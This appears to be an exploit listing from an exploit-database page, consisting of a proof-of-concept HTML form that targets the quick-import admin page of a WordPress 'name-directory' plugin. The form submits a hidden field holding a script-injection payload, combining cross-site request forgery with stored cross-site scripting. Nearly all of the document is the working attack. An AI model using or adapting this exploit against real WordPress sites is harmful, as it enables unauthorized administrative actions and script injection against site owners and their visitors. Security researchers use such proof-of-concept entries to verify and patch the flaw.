Share
## https://sploitus.com/exploit?id=WPEX-ID:3014540C-21B3-481C-83A1-CE3017151AF4
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=name-directory&sub=quick-import" method="POST">
      <input type="hidden" name="mode" value="new" />
      <input type="hidden" name="name" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="submit" value="Next step" />
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>